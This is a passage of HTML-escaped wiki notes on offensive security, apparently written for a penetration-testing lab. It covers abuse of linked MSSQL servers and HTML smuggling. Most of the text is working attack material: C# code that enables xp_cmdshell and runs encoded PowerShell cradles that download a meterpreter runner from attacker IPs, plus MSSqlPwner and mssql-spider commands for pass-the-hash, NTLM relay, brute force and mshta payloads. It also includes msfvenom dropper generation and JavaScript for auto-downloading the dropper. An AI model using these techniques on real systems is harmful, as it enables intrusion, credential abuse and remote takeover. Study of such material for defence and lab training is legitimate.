            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
